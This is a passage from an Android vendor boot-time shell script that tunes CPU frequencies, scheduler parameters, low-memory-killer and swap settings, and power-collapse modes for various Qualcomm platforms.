echo {class:ddr, res:fixed, val: 1016} > /sys/kernel/debug/aop_send_message
setprop vendor.sku_identified 1
elif [ $feature_id == 5 ]; then
echo "SKU Configured : SA6150"
echo 748800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
echo 998400 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 998400 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
echo 998400 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
echo 998400 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
echo 998400 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
echo 998400 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_max_freq
echo 1708800 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_max_freq
echo 1708800 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/min_freq
echo 1363200000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/min_freq
echo 1363200000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/max_freq
echo 2 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
echo {class:ddr, res:fixed, val: 1333} > /sys/kernel/debug/aop_send_message
setprop vendor.sku_identified 1
elif [ $feature_id == 4 || $feature_id == 3 ]; then
echo "SKU Configured : SA6155"
echo 748800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
echo 1593600 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_max_freq
echo 1900800 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_max_freq
echo 1900800 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/min_freq
echo 1363200000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/min_freq
echo 1363200000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/max_freq
echo 0 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
echo {class:ddr, res:fixed, val: 1555} > /sys/kernel/debug/aop_send_message
setprop vendor.sku_identified 1
else
echo "unknown feature_id value" $feature_id
echo 748800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 748800 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1017600 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
echo 1593600 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_max_freq
echo 1593600 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_max_freq
echo 1900800 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_max_freq
echo 1900800 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/min_freq
echo 1363200000 > /sys/class/devfreq/soc\:qcom,cpu0-cpu-l3-lat/max_freq
echo 940800000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/min_freq
echo 1363200000 > /sys/class/devfreq/soc\:qcom,cpu6-cpu-l3-lat/max_freq
echo 0 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
echo {class:ddr, res:fixed, val: 1555} > /sys/kernel/debug/aop_send_message
setprop vendor.sku_identified 1
fi
}
function 8953_sched_dcvs_hmp()
{
#scheduler settings
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
#task packing settings
echo 0 > /sys/devices/system/cpu/cpu0/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu1/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu2/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu3/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu4/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu5/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu6/sched_static_cpu_pwr_cost
echo 0 > /sys/devices/system/cpu/cpu7/sched_static_cpu_pwr_cost
# spill load is set to 100% by default in the kernel
echo 3 > /proc/sys/kernel/sched_spill_nr_run
# Apply inter-cluster load balancer restrictions
echo 1 > /proc/sys/kernel/sched_restrict_cluster_spill
# set sync wakee policy tunable
echo 1 > /proc/sys/kernel/sched_prefer_sync_wakee_to_waker
#governor settings
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "19000 1401600:39000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpufreq/interactive/timer_rate
echo 1401600 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpufreq/interactive/io_is_busy
echo "85 1401600:80" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
echo 19 > /proc/sys/kernel/sched_upmigrate_min_nice
# Enable sched guided freq control
echo 1 > /sys/devices/system/cpu/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpufreq/interactive/use_migration_notif
echo 200000 > /proc/sys/kernel/sched_freq_inc_notify
echo 200000 > /proc/sys/kernel/sched_freq_dec_notify
}
function 8917_sched_dcvs_hmp()
{
# HMP scheduler settings
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
echo 1 > /proc/sys/kernel/sched_restrict_tasks_spread
# HMP Task packing settings
echo 20 > /proc/sys/kernel/sched_small_task
echo 30 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_load
echo 3 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_nr_run
echo 0 > /sys/devices/system/cpu/cpu0/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu1/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu2/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu3/sched_prefer_idle
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "19000 1094400:39000" > /sys/devices/system/cpu/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpufreq/interactive/timer_rate
echo 1094400 > /sys/devices/system/cpu/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpufreq/interactive/io_is_busy
echo "1 960000:85 1094400:90" > /sys/devices/system/cpu/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpufreq/interactive/sampling_down_factor
# Enable sched guided freq control
echo 1 > /sys/devices/system/cpu/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpufreq/interactive/use_migration_notif
echo 50000 > /proc/sys/kernel/sched_freq_inc_notify
echo 50000 > /proc/sys/kernel/sched_freq_dec_notify
}
function 8937_sched_dcvs_hmp()
{
# HMP scheduler settings
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
# HMP Task packing settings
echo 50 > /proc/sys/kernel/sched_small_task
echo 30 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_load
echo 3 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_nr_run
echo 0 > /sys/devices/system/cpu/cpu0/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu1/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu2/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu3/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu4/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu5/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu6/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu7/sched_prefer_idle
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "19000 1248000:39000" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1248000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "1 960000:80 1248000:85 1401000:90" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/sampling_down_factor
# enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo "19000 1094400:39000" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 65 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 1094400 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "1 768000:60 1094400:65 1094400:80" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/sampling_down_factor
# Enable sched guided freq control
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/align_windows
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/enable_prediction
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/align_windows
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/enable_prediction
echo 200000 > /proc/sys/kernel/sched_freq_inc_notify
echo 200000 > /proc/sys/kernel/sched_freq_dec_notify
}
target=`getprop ro.board.platform`
function configure_read_ahead_kb_values() {
MemTotalStr=`cat /proc/meminfo | grep MemTotal`
MemTotal=${MemTotalStr:16:8}
dmpts=$(ls /sys/block/*/queue/read_ahead_kb | grep -e dm -e mmc)
# Set 128 for <= 3GB &
# set 512 for >= 4GB targets.
if [ $MemTotal -le 3145728 ]; then
echo 128 > /sys/block/mmcblk0/bdi/read_ahead_kb
echo 128 > /sys/block/mmcblk0rpmb/bdi/read_ahead_kb
for dm in $dmpts; do
echo 128 > $dm
done
else
echo 512 > /sys/block/mmcblk0/bdi/read_ahead_kb
echo 512 > /sys/block/mmcblk0rpmb/bdi/read_ahead_kb
for dm in $dmpts; do
echo 512 > $dm
done
fi
}
function disable_core_ctl() {
if [ -f /sys/devices/system/cpu/cpu0/core_ctl/enable ]; then
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/enable
else
echo 1 > /sys/devices/system/cpu/cpu0/core_ctl/disable
fi
}
function enable_swap() {
MemTotalStr=`cat /proc/meminfo | grep MemTotal`
MemTotal=${MemTotalStr:16:8}
SWAP_ENABLE_THRESHOLD=1048576
swap_enable=`getprop ro.vendor.qti.config.swap`
# Enable swap initially only for 1 GB targets
if [ "$MemTotal" -le "$SWAP_ENABLE_THRESHOLD" ] && [ "$swap_enable" == "true" ]; then
# Static swiftness
echo 1 > /proc/sys/vm/swap_ratio_enable
echo 70 > /proc/sys/vm/swap_ratio
# Swap disk - 200MB size
if [ ! -f /data/vendor/swap/swapfile ]; then
dd if=/dev/zero of=/data/vendor/swap/swapfile bs=1m count=200
fi
mkswap /data/vendor/swap/swapfile
swapon /data/vendor/swap/swapfile -p 32758
fi
}
function configure_memory_parameters() {
# Set Memory parameters.
#
# Set per_process_reclaim tuning parameters
# All targets will use vmpressure range 50-70,
# All targets will use 512 pages swap size.
#
# Set Low memory killer minfree parameters
# 32 bit Non-Go, all memory configurations will use 15K series
# 32 bit Go, all memory configurations will use uLMK + Memcg
# 64 bit will use Google default LMK series.
#
# Set ALMK parameters (usually above the highest minfree values)
# vmpressure_file_min threshold is always set slightly higher
# than LMK minfree's last bin value for all targets. It is calculated as
# vmpressure_file_min = (last bin - second last bin ) + last bin
#
# Set allocstall_threshold to 0 for all targets.
#
ProductName=`getprop ro.product.name`
low_ram=`getprop ro.config.low_ram`
if [ "$ProductName" == "msmnile" ] || [ "$ProductName" == "kona" ] || [ "$ProductName" == "sdmshrike_au" ]; then
# Enable ZRAM
configure_read_ahead_kb_values
echo 0 > /proc/sys/vm/page-cluster
echo 100 > /proc/sys/vm/swappiness
else
arch_type=`uname -m`
MemTotalStr=`cat /proc/meminfo | grep MemTotal`
MemTotal=${MemTotalStr:16:8}
# Set parameters for 32-bit Go targets.
if [ $MemTotal -le 1048576 ] && [ "$low_ram" == "true" ]; then
# Disable KLMK, ALMK, PPR & Core Control for Go devices
echo 0 > /sys/module/lowmemorykiller/parameters/enable_lmk
echo 0 > /sys/module/lowmemorykiller/parameters/enable_adaptive_lmk
echo 0 > /sys/module/process_reclaim/parameters/enable_process_reclaim
disable_core_ctl
# Enable oom_reaper for Go devices
if [ -f /proc/sys/vm/reap_mem_on_sigkill ]; then
echo 1 > /proc/sys/vm/reap_mem_on_sigkill
fi
else
# Read adj series and set adj threshold for PPR and ALMK.
# This is required since adj values change from framework to framework.
adj_series=`cat /sys/module/lowmemorykiller/parameters/adj`
adj_1="${adj_series#*,}"
set_almk_ppr_adj="${adj_1%%,*}"
# PPR and ALMK should not act on HOME adj and below.
# Normalized ADJ for HOME is 6. Hence multiply by 6
# ADJ score represented as INT in LMK params, actual score can be in decimal
# Hence add 6 considering a worst case of 0.9 conversion to INT (0.9*6).
# For uLMK + Memcg, this will be set as 6 since adj is zero.
set_almk_ppr_adj=$(((set_almk_ppr_adj * 6) + 6))
echo $set_almk_ppr_adj > /sys/module/lowmemorykiller/parameters/adj_max_shift
# Calculate vmpressure_file_min as below & set for 64 bit:
# vmpressure_file_min = last_lmk_bin + (last_lmk_bin - last_but_one_lmk_bin)
if [ "$arch_type" == "aarch64" ]; then
minfree_series=`cat /sys/module/lowmemorykiller/parameters/minfree`
minfree_1="${minfree_series#*,}" ; rem_minfree_1="${minfree_1%%,*}"
minfree_2="${minfree_1#*,}" ; rem_minfree_2="${minfree_2%%,*}"
minfree_3="${minfree_2#*,}" ; rem_minfree_3="${minfree_3%%,*}"
minfree_4="${minfree_3#*,}" ; rem_minfree_4="${minfree_4%%,*}"
minfree_5="${minfree_4#*,}"
vmpres_file_min=$((minfree_5 + (minfree_5 - rem_minfree_4)))
echo $vmpres_file_min > /sys/module/lowmemorykiller/parameters/vmpressure_file_min
else
# Set LMK series, vmpressure_file_min for 32 bit non-go targets.
# Disable Core Control, enable KLMK for non-go 8909.
if [ "$ProductName" == "msm8909" ]; then
disable_core_ctl
echo 1 > /sys/module/lowmemorykiller/parameters/enable_lmk
fi
echo "15360,19200,23040,26880,34415,43737" > /sys/module/lowmemorykiller/parameters/minfree
echo 53059 > /sys/module/lowmemorykiller/parameters/vmpressure_file_min
fi
# Enable adaptive LMK for all targets &
# use Google default LMK series for all 64-bit targets >=2GB.
echo 0 > /sys/module/lowmemorykiller/parameters/enable_adaptive_lmk
# Enable oom_reaper
if [ -f /sys/module/lowmemorykiller/parameters/oom_reaper ]; then
echo 1 > /sys/module/lowmemorykiller/parameters/oom_reaper
fi
# Set PPR parameters
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
# Do not set PPR parameters for premium targets
# sdm845 - 321, 341
# msm8998 - 292, 319
# msm8996 - 246, 291, 305, 312
"321" | "341" | "292" | "319" | "246" | "291" | "305" | "312")
;;
*)
#Set PPR parameters for all other targets.
echo $set_almk_ppr_adj > /sys/module/process_reclaim/parameters/min_score_adj
echo 0 > /sys/module/process_reclaim/parameters/enable_process_reclaim
echo 50 > /sys/module/process_reclaim/parameters/pressure_min
echo 70 > /sys/module/process_reclaim/parameters/pressure_max
echo 30 > /sys/module/process_reclaim/parameters/swap_opt_eff
echo 512 > /sys/module/process_reclaim/parameters/per_swap_size
;;
esac
fi
# Don't account allocstalls for <= 2GB RAM targets
if [ $MemTotal -le 2097152 ]; then
echo 100 > /sys/module/vmpressure/parameters/allocstall_threshold
fi
configure_read_ahead_kb_values
enable_swap
fi
}
function enable_memory_features()
{
MemTotalStr=`cat /proc/meminfo | grep MemTotal`
MemTotal=${MemTotalStr:16:8}
if [ $MemTotal -le 2097152 ]; then
#Enable B service adj transition for 2GB or less memory
setprop ro.vendor.qti.sys.fw.bservice_enable true
setprop ro.vendor.qti.sys.fw.bservice_limit 5
setprop ro.vendor.qti.sys.fw.bservice_age 5000
#Enable Delay Service Restart
setprop ro.vendor.qti.am.reschedule_service true
fi
}
function start_hbtp()
{
# Start the Host based Touch processing but not in the power off mode.
bootmode=`getprop ro.bootmode`
if [ "charger" != $bootmode ]; then
start vendor.hbtp
fi
}
case "$target" in
"msm7201a_ffa" | "msm7201a_surf" | "msm7627_ffa" | "msm7627_6x" | "msm7627a" | "msm7627_surf" | \
"qsd8250_surf" | "qsd8250_ffa" | "msm7630_surf" | "msm7630_1x" | "msm7630_fusion" | "qsd8650a_st1x")
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
;;
esac
case "$target" in
"msm7201a_ffa" | "msm7201a_surf")
echo 500000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
;;
esac
case "$target" in
"msm7630_surf" | "msm7630_1x" | "msm7630_fusion")
echo 75000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 1 > /sys/module/pm2/parameters/idle_sleep_mode
;;
esac
case "$target" in
"msm7201a_ffa" | "msm7201a_surf" | "msm7627_ffa" | "msm7627_6x" | "msm7627_surf" | "msm7630_surf" | "msm7630_1x" | "msm7630_fusion" | "msm7627a" )
echo 245760 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
;;
esac
case "$target" in
"msm8660")
echo 1 > /sys/module/rpm_resources/enable_low_power/L2_cache
echo 1 > /sys/module/rpm_resources/enable_low_power/pxo
echo 2 > /sys/module/rpm_resources/enable_low_power/vdd_dig
echo 2 > /sys/module/rpm_resources/enable_low_power/vdd_mem
echo 1 > /sys/module/rpm_resources/enable_low_power/rpm_cpu
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 4 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
echo 384000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 384000 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
chown -h root.system /sys/devices/system/cpu/mfreq
chmod -h 220 /sys/devices/system/cpu/mfreq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
;;
esac
case "$target" in
"msm8960")
echo 1 > /sys/module/rpm_resources/enable_low_power/L2_cache
echo 1 > /sys/module/rpm_resources/enable_low_power/pxo
echo 1 > /sys/module/rpm_resources/enable_low_power/vdd_dig
echo 1 > /sys/module/rpm_resources/enable_low_power/vdd_mem
echo 1 > /sys/module/msm_pm/modes/cpu0/retention/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/suspend_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu1/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu2/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu3/standalone_power_collapse/idle_enabled
echo 1 > /sys/module/msm_pm/modes/cpu0/power_collapse/idle_enabled
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo "ondemand" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu1/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo "ondemand" > /sys/devices/system/cpu/cpu3/cpufreq/scaling_governor
echo 50000 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
echo 90 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 4 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential
echo 70 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_multi_core
echo 3 > /sys/devices/system/cpu/cpufreq/ondemand/down_differential_multi_core
echo 918000 > /sys/devices/system/cpu/cpufreq/ondemand/optimal_freq
echo 1026000 > /sys/devices/system/cpu/cpufreq/ondemand/sync_freq
echo 80 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold_any_cpu_load
chown -h system /sys/devices/system/cpu/cpufreq/ondemand/sampling_rate
chown -h system /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
chown -h system /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
echo 384000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 384000 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 384000 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 384000 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu1/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu2/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
chown -h system /sys/devices/system/cpu/cpu3/cpufreq/scaling_max_freq
chown -h system /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 1 > /sys/module/msm_thermal/core_control/enabled
chown -h root.system /sys/devices/system/cpu/mfreq
chmod -h 220 /sys/devices/system/cpu/mfreq
chown -h root.system /sys/devices/system/cpu/cpu1/online
chown -h root.system /sys/devices/system/cpu/cpu2/online
chown -h root.system /sys/devices/system/cpu/cpu3/online
chmod -h 664 /sys/devices/system/cpu/cpu1/online
chmod -h 664 /sys/devices/system/cpu/cpu2/online
chmod -h 664 /sys/devices/system/cpu/cpu3/online
# set DCVS parameters for CPU
echo 40000 > /sys/module/msm_dcvs/cores/cpu0/slack_time_max_us
